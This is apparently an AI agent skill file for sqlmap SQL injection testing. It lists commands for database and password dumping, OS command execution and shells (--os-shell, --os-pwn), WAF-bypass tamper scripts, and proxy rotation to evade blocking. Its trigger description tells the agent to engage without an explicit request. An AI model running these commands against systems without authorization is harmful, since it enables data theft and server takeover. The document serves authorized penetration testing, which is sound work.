| name | sqlmap-pentest |
| description | SQL injection testing with sqlmap. Use this skill whenever the user needs to test for SQL injection vulnerabilities, enumerate databases, extract data from vulnerable applications, or bypass WAFs with sqlmap. Trigger on any mention of SQL injection testing, sqlmap commands, database enumeration, WAF bypass, or web application security testing involving SQL. Don't wait for explicit "use sqlmap" - if they're testing SQLi or need database extraction, this skill applies. |
SQLMap Pentesting Skill
This skill helps you conduct SQL injection testing using sqlmap, from basic reconnaissance to advanced WAF bypass techniques.
Quick Start
Basic SQLMap Command Structure
sqlmap -u "<URL>" -p "<PARAMETER>" [OPTIONS]
Essential Flags for Most Tests
-u "<URL>"
-p "<PARAM>"
--random-agent
--threads=10
--risk=3
--level=5
--batch
--technique="BEUSTQ"
Injection Techniques
Use --technique to specify which SQL injection methods to attempt:
| Technique | Flag | When to Use |
|---|
| Boolean-based blind | B | True/false conditions reveal data |
| Error-based | E | Verbose DBMS error messages |
| UNION query | U | UNION SELECT statements |
| Stacked queries | S | Multiple statements with semicolons |
| Time-based blind | T | SLEEP/WAITFOR delays |
| Out-of-band | Q | DNS callbacks, LOAD_FILE() |
Default order: BEUSTQ
Example - Test only Boolean and Time-based:
sqlmap -u "http://target/?id=1" --technique="BT" --batch
Target Injection Points
URL Parameters (GET)
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
POST Data
sqlmap -u "http://example.com" --data "username=*&password=*"
HTTP Headers
sqlmap -u "http://example.com" --cookie "mycookies=*"
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
From Burp/ZAP Capture
sqlmap -r req.txt --current-user
Second-Order Injection
sqlmap -r request.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
Database Enumeration
Internal Information
--current-user
--is-dba
--hostname
--users
--passwords
Database Data Extraction
--all
--dbs
--tables
--columns
--dump
Example - Full enumeration:
sqlmap -u "http://target/?id=1" -p id --dbs --batch
sqlmap -u "http://target/?id=1" -p id -D "database_name" --tables --batch
sqlmap -u "http://target/?id=1" -p id -D "database_name" -T "users" --dump --batch
OS Command Execution
sqlmap -u "http://target/?id=1" -p id --os-cmd "whoami"
sqlmap -u "http://target/?id=1" -p id --os-shell
sqlmap -u "http://target/?id=1" -p id --os-pwn
WAF Bypass Techniques
Tamper Scripts
Use --tamper to bypass WAFs and filters. Common options:
| Tamper | Use Case |
|---|
apostrophemask.py | Bypass quote filtering |
base64encode.py | Encode entire payload |
chardoubleencode.py | Double URL-encode |
space2comment.py | Replace spaces with comments |
randomcase.py | Randomize keyword case |
unionalltounion.py | UNION ALL → UNION |
versionedkeywords.py | MySQL versioned comments |
luanginxmore.py | Crash Lua-Nginx WAFs (POST only) |
Example - Multiple tampers:
sqlmap -u "http://target/?id=1" -p id --tamper=apostrophemask.py,randomcase.py --batch
Example - Lua-Nginx WAF bypass:
sqlmap --method=POST -u "http://target" --data "id=*" --tamper=luanginxmore.py --batch
Custom Prefix/Suffix
sqlmap -u "http://target/?id=1" -p id --suffix="-- "
sqlmap -u "http://target/?id=1" -p id --prefix="') "
Boolean Blind Helper
sqlmap -r request.txt -p id --not-string "ridiculous" --batch
Advanced Features
HTTP/2 Support (sqlmap >= 1.9.x)
sqlmap -u "https://target" --http2 --force-ssl
Proxy Rotation
sqlmap -u "http://target" --proxy-file proxies.txt --proxy-freq 3
Mobile User-Agent
sqlmap -u "http://target" --mobile
Offline Mode
sqlmap -u "http://target" --offline
sqlmap -u "http://target" --purge
Website Crawling
sqlmap -u "http://target/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
Authentication Support
sqlmap -u "http://target" --auth-type="Basic" --auth-cred="user:pass"
sqlmap -u "http://target" --auth-type="Digest" --auth-cred="user:pass"
sqlmap -u "http://target" --auth-type="NTLM" --auth-cred="domain/user:pass"
Common Attack Scenarios
Scenario 1: Quick Vulnerability Check
sqlmap -u "http://target/?id=1" -p id --batch --random-agent --threads=10
Scenario 2: Full Database Extraction
sqlmap -u "http://target/?id=1" -p id --dbs --batch
sqlmap -u "http://target/?id=1" -p id -D "<db_name>" --tables --batch
sqlmap -u "http://target/?id=1" -p id -D "<db_name>" -T "<table_name>" --dump --batch
Scenario 3: WAF-Bypassed Enumeration
sqlmap -u "http://target/?id=1" -p id --tamper=apostrophemask.py,randomcase.py --level=5 --risk=3 --batch
Scenario 4: POST Request Testing
sqlmap -u "http://target/login" --data "username=*&password=*" --batch
Scenario 5: Header Injection
sqlmap -u "http://target" --headers="X-Forwarded-For:*" --batch
Safety and Ethics
- Only test systems you have authorization to test
- Use
--risk=1 and --level=1 for initial reconnaissance
- Higher risk/level values can cause database instability
- Use
--purge to clean up session data after testing
- Document all findings for responsible disclosure
Troubleshooting
Slow Performance
- Reduce
--threads value
- Lower
--level and --risk
- Use
--batch to skip interactive prompts
False Positives
- Verify with manual testing
- Use
--technique to limit to specific methods
- Check with
--not-string for boolean blind
WAF Blocking
- Try different tamper scripts
- Use proxy rotation
- Lower request rate with fewer threads
- Try HTTP/2 with
--http2
References